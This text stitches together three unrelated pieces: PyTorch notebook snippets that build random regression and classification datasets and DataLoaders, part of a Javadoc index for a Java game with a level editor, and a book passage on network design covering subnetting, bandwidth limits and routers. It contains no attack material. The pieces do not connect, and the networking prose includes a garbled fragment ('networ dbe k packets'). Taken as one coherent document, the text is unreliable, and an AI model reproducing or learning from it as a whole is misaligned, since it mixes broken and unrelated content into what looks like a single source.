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object, we'll also need to create these objects.The inputs are of the shape (n_samples, hight, width, n_channels)
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X = np.random.rand(100, 37, 37, 13)
X.shape
torch.movedim(torch.from_numpy(X), -1, 1).shape
For different tasks we can have outcomes of different shape. For regression we have a scalar output while for classifications we have a vector.
y_reg = np.random.rand(100, 1)
y_reg.shape
y_clf = np.random.rand(100, 8)
y_clf.shape
Regression data
d_reg = SingleFeatureData(y_reg, X)
d_reg.X.shape
d_reg.y.shape
Split data
train, val, test = random_split(d_reg, [50, 30, 20], generator=torch.Generator().manual_seed(7))
len(train), len(val), len(test)
train_loader = DataLoader(train, batch_size=8, shuffle=True)
val_loader = DataLoader(val, batch_size=8, shuffle=True)
test_loader = DataLoader(test, batch_size=8, shuffle=True)
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x.shape
Classification data
d_clf = SingleFeatureData(y_clf, X)
d_clf.X.shape
d_clf.y.shape
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train, val, test = random_split(d_clf, [50, 30, 20], generator=torch.Generator().manual_seed(7))
len(train), len(val), len(test)
train_loader = DataLoader(train, batch_size=8, shuffle=True)
val_loader = DataLoader(val, batch_size=8, shuffle=True)
test_loader = DataLoader(test, batch_size=8, shuffle=True)
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x, t = next(iter(train_loader))
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x.shape
X1 = np.random.rand(100, 37, 37, 13)
X2 = np.random.rand(100, 37, 37, 3)
X1.shape, X2.shape
d_reg = DoubleFeatureData(y_reg, (X1, X2))
d_reg.X1.shape, d_reg.X2.shape
d_reg.y.shape
Split data
train, val, test = random_split(d_reg, [50, 30, 20], generator=torch.Generator().manual_seed(7))
len(train), len(val), len(test)
train_loader = DataLoader(train, batch_size=8, shuffle=True)
val_loader = DataLoader(val, batch_size=8, shuffle=True)
test_loader = DataLoader(test, batch_size=8, shuffle=True)
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- LAST - controller.view.SpriteID
- lastActionTime - Variable in class modele.game.entities.MoveableEntity
- lastLevelScore - Variable in class modele.game.Game
- LEFT - controller.view.SpriteID
- LEFT - modele.game.enums.Movement
- LEFT_P1 - controller.input.Input
- LEFT_P2 - controller.input.Input
- legalMoves(Point) - Method in class modele.editor.MapGenerator
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Return a list of possible moves from a position on the Shape Grid
- length_label - Variable in class controller.editor.Controller
- length_slider - Variable in class controller.editor.Controller
- length_slider_slide() - Method in class controller.editor.Controller
- level - Variable in class modele.game.Game
- LEVEL_EDITOR - modele.game.enums.GameState
- levelInterval - Variable in class modele.editor.Editor
- levelScore - Variable in class modele.game.Game
- LIVE - controller.view.GUIElement
- lives - Variable in class modele.game.entities.EntityPlayer
- loadConfigs() - Method in class modele.Loader
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Load the inputs config from an XML File
- Loader - Class in modele
- Loader() - Constructor for class modele.Loader
- loadHighscores() - Method in class modele.Loader
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Load the highscores from an XML File
- loadMap(int) - Method in class modele.editor.Editor
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Load a map from an XML File for a specific level
- loadMap(Map<Point, StaticEntity>, int) - Method in class modele.Loader
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Populate a grid's movement map from an XML File Used by the game
- loadMap(Grid, int) - Method in class modele.Loader
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Load a grid associated to a level from a file Used by the editor
- loadSprites() - Method in class controller.editor.EditorViewController
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Load all the sprites and images in memory
- loadSprites() - Method in class controller.view.ViewController
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Load all the sprites and images in memory
- LOGO - controller.view.GUIElement
- loop() - Method in class controller.audio.AudioChannel
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Play the audio channel until paused
- loopChannel(AudioID) - Method in class controller.audio.AudioController
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Loop a specified AudioChannel
- lvl_tb - Variable in class controller.editor.Controller
All Classes All Packages


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Network DesignAs you have seen, there are only a few things you can do in the operating system and the application to improve network efficiency. The majority of the performance improvements are accomplished by reducing the load on any particular component in the network. Primarily, you can improve performance by subnetting, that is, by segmenting the load among several different segments. The alternative to increasing the bandwidth of the network is to purchase faster network hardware. By upgrading from 10Base-T to 100Base-T, you instantaneously see substantial improvement in bandwidth. In many cases, your network wiring may already be able to handle the faster 100Base-T networks. You should use some sort of network load monitor on a regular basis to determine whether you are near the limits of the network. Do some trend analysis and try to determine where the majority of network traffic is originating. You may discover that certain operations (such as backups or loads) are using a large percentage of the network bandwidth and should be segmented off the main network. If you keep the network usage within limits, the network should not be a bottleneck. As mentioned in the last chapter, as you near the limits of an Ethernet or FDDI network, the number of collisions increases exponentially. It is a good idea to segment these types of networks so that you never exceed 60 to 70 percent of the available bandwidth. Bandwidth ConsiderationsThe bandwidth of the network represents the theoretical maximum of data throughput that can be achieved by the network medium. For Ethernet, this is 10 megabits/second. By using larger packets, you can achieve a maximum throughput much closer to the theoretical limit than you can with small packets. The more computers that try to access the network, the less likely you are to reach the maximum throughput because of the increased likelihood of collisions. When your network load reaches 60 to 70 percent of the bandwidth of the network, you will begin to see a fairly high collision rate. At this point, the performance of the network starts to be affected. If possible, try to keep the network usage below 60 percent. Of course, there are peak times during which the network sees high usage, but in general, try to keep the load in this range. The only available way to increase the bandwidth of the network is by upgrading to a faster type of network hardware, such at 100Base-T, fiber optics, or ATM. The available bandwidth of the network is based on the type of hardware you are using. The speed of the LAN segment is based on standards. By standardizing the speeds, you can add different hardware components supplied by different hardware vendors and they will all work on your network. Segmenting the NetworkThe best way to reduce the amount of traffic on your network is to use subnetting or segmenting. Subnetting involves breaking the network into smaller individual LAN segments. By breaking the LAN into smaller segments, you divide the network load among the segments and reduce the load on each individual segment. By reducing the load on the individual segments, you reduce collisions and avoid performance degradation. When the network is segmented, you may have to deploy routers. Routers are used to pass networ dbe k packets between different subnets. Although most operating systems can do routing, doing so uses some CPU resources. You should avoid routing on your database server. Hardware routers are also available; these routers bypass the operating system and can perform routing tasks with very little overhead. Hardware routers can route network packets much faster and more efficiently than any operating system. Bridges, Routers, and HubsBridges, routers, and hubs are all needed to keep a network running. Routers are used to route data back and forth between different subnets; bridges are used to bridge between networks; and hubs are used simply as electrical repeaters. All these elements may be in use in your installation. Be sure that your routers and bridges are not a source of delays. Especially if you employ a router or a bridge that uses a general-purpose OS for routing and bridging functions, you may see substantial delays in these services. A special-purpose hardware router or bridge always provides significant performance gains over an OS-based router or bridge. SummaryTo optimize your network, you should look at both the software and the hardware. To optimize the network software, there is typically not much you can do. By reducing unnecessary network protocols and applications, you can streamline the operation of the network; there is not much else you can do to enhance its performance. To optimize the network hardware, there is not very much you can do either. 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